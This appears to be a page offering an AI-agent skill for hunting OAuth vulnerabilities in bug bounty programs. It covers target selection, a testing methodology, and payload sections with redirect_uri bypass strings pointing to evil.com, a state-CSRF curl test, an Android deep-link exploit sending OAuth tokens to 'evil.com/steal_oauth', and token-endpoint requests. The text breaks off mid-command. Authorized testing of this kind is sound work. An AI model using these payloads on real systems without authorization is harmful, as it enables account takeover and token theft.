hunt-oauth – skill Bảo mật cho agent AI

> ⚠️ AUTHORIZED USE ONLY

> This skill is for educational purposes or authorized security assessments only.

> You must have explicit, written permission from the system owner before using this tool.

> Misuse of this tool is illegal and strictly prohibited.

> Mandatory confirmation gate

> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:

> 1. Ask the user to state the exact target URL, IP, account, or resource.

> 2. Ask the user to confirm written authorization and the permitted scope.

> 3. Show the exact command(s) and explain their expected effect.

> 4. Wait for explicit confirmation in the current conversation.

>

> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

Test boundaries

Use only authorized test accounts, exact scoped origins and reversible linking actions. Dynamic registration creates resources and needs explicit scope plus cleanup. Do not claim dangling cloud resources or access third-party identity-provider infrastructure without separate permission. Audience acceptance depends on the intended resource API; a token from another client is not necessarily intended for another audience. Never print live tokens, codes or secrets to terminal history or shared logs.

Crown Jewel Targets

OAuth vulnerabilities are among the highest-value bug classes in web security because they directly enable account takeover, session theft, and authentication bypass — the trifecta that programs pay most for.

Highest-value targets:

• Consumer identity providers (Google, Facebook, PayPal, Apple SSO integrations) — any compromise cascades across all relying parties
• Mobile apps with custom deep link OAuth handlers — Android/iOS intent handling is notoriously loose
• Multi-tenant SaaS platforms (GitLab, Reddit-scale apps) where one OAuth flaw hits millions of accounts
• Gaming/entertainment platforms with federated login (Rockstar, Oculus) — often security-immature teams
• Enterprise SSO connectors — critical infrastructure, high severity payouts

Asset types that pay most:

• OAuth authorization endpoints (/oauth/authorize, /connect/authorize)
• Token exchange endpoints (/oauth/token)
• Mobile deep link handlers (push_notification_webview, custom scheme URIs)
• Social login callback handlers (/auth/callback, /oauth/callback)

Bounty eligibility and severity depend on the program and demonstrated impact; no payout is established by this guide.

---

Attack Surface Signals

URL Patterns to Hunt

/oauth/authorize
/oauth/token
/connect/authorize
/auth/callback
/oauth/callback
/login?redirect_uri=
/signin?next=
/auth?return_to=
/oauth/redirect
/push_notification_webview

Response Headers That Signal OAuth

Location: https://accounts.example.com/oauth/...
Set-Cookie: oauth_state=
WWW-Authenticate: Bearer
Content-Type: application/json (with access_token in body)

JavaScript Patterns (grep in JS bundles)

redirect_uri
client_id
response_type=code
response_type=token
state=
nonce=
oauth_token
access_token
push_notification_webview
deeplink
intent://

Tech Stack Signals

• Android apps with intent-filter in AndroidManifest.xml handling http:// or custom scheme URIs
• Apps using Doorkeeper, OmniAuth, Devise (Ruby), Passport.js (Node), Spring Security OAuth
• Social login buttons (Google, Facebook, Apple) = OAuth surface guaranteed
• .well-known/openid-configuration present = full OIDC surface available

---

Step-by-Step Hunting Methodology

1. Enumerate all OAuth entry points

• Spider the app for /oauth, /connect, /auth, /login paths
• Check .well-known/openid-configuration and .well-known/oauth-authorization-server
• Decompile mobile APKs: apktool d app.apk and grep for redirect_uri, intent://, deep link schemes

2. Map the full OAuth flow

• Capture the authorization request: note client_id, redirect_uri, state, nonce, response_type
• Capture the callback: note where tokens/codes land, what validates state/nonce

3. Test redirect_uri validation (highest yield)

• Try exact host bypass: redirect_uri=https://legit.com.evil.com
• Try path traversal: redirect_uri=https://legit.com/callback/../../../evil
• Try open redirects on the legitimate domain first, then chain into OAuth
• Try parameter pollution: redirect_uri=https://legit.com&redirect_uri=https://evil.com
• Try encoded characters: %2F, %40, %23 to confuse parsers

4. Test state parameter (CSRF)

• Remove state entirely — does the flow complete?
• Reuse a fixed state value across sessions
• Check whether the client binds the authorization response to the initiating session with an appropriate state/PKCE/OIDC mechanism. A browser-based client can validate state correctly; missing state alone is not proof of CSRF

5. Test nonce parameter (replay/bypass)

• Capture a nonce from one flow, attempt to replay it in another
• Check if nonce is validated after token exchange
• Assess actual nonce/session binding and ID-token signature, issuer and audience checks; nonce is not itself an access credential

6. Test authentication step completeness

• For multi-step auth (e.g., email verification + OAuth): can you skip to /oauth/token directly?
• Check if partial auth state (unverified email) is accepted by the token endpoint

7. Hunt referrer leakage

• After OAuth callback with tokens in URL fragment or query, check if any on-page resources (images, scripts, iframes) receive the full Referer header
• Look specifically at language switchers, analytics calls, social share buttons triggered post-auth

8. Test mobile deep links

• For Android: craft malicious intent URIs that redirect the OAuth webview to attacker-controlled URLs
• Check if deep link handlers validate the origin/host before loading
• Test push_notification_webview patterns that accept arbitrary URLs

9. Test misconfigured client credentials

• Check if client_secret appears in JS bundles or APK resources
• Test if token endpoint accepts arbitrary redirect_uri values when combined with leaked client_id/client_secret

10. Verify and document

• Confirm state is not validated → CSRF to account link
• Confirm token lands on attacker domain → session theft
• Confirm email verification skippable → auth bypass
• Run Gate 0 check before reporting

---

Payload & Detection Patterns

redirect_uri Bypass Payloads

# Host confusion
https://evil.com#legit.com
https://legit.com.evil.com
https://[email protected]

# Path traversal
https://legit.com/oauth/callback/../../redirect?url=https://evil.com

# Open redirect chain (find open redirect on legit domain first)
https://legit.com/logout?next=https://evil.com

# Parameter pollution
?redirect_uri=https://legit.com/cb&redirect_uri=https://evil.com/cb

# URL encoded slashes
https://legit.com%[email protected]
https://legit.com%252F..%252F..evil.com

State CSRF Test

# Step 1: Initiate OAuth flow, capture state value
# Step 2: Drop request, use attacker account's link with victim's session
curl -v "https://target.com/oauth/authorize?client_id=APP&redirect_uri=https://target.com/cb&response_type=code&state=FIXED_VALUE"

# Step 3: Force victim to visit callback with attacker's code + fixed state
https://target.com/oauth/callback?code=ATTACKER_CODE&state=FIXED_VALUE

Browser leakage verification

Use only owned test accounts and an authorized callback receiver. Capture actual outbound browser requests after callback navigation under the site's real Referrer-Policy. A manually forged incoming Referer header does not test outbound leakage. Fragments are excluded from HTTP Referer; query strings may also be removed on cross-origin requests by the browser's policy. Separately inspect JavaScript forwarding through analytics or postMessage. Redact all codes/tokens from reports.

Mobile Deep Link Exploit (Android)

# ADB exploit for push_notification_webview deeplink
adb shell am start -a android.intent.action.VIEW \
  -d "target-app://push_notification_webview?url=https://evil.com/steal_oauth"

# Craft intent URI for web-based exploit
<a href="intent://push_notification_webview?url=https://evil.com#Intent;scheme=target-app;package=com.target.app;end">Click</a>

Token Endpoint Auth Bypass

# Test unauthenticated token exchange (skip email verification)
curl -X POST https://target.com/oauth/token \
  -d "grant_type=authorization_code" \
  -d "code=CAPTURED_CODE" \
  -d "client_id=CLIENT_ID" \
  -d "redirect_uri=https://legit.com/callback"

# Test with unverified account credentials
curl -X POST https://target.com/oauth/token \
  -d "grant_type=password" \
  -d "[email protected]" \
  -d 

… (nội dung đầy đủ có trong gói tải về)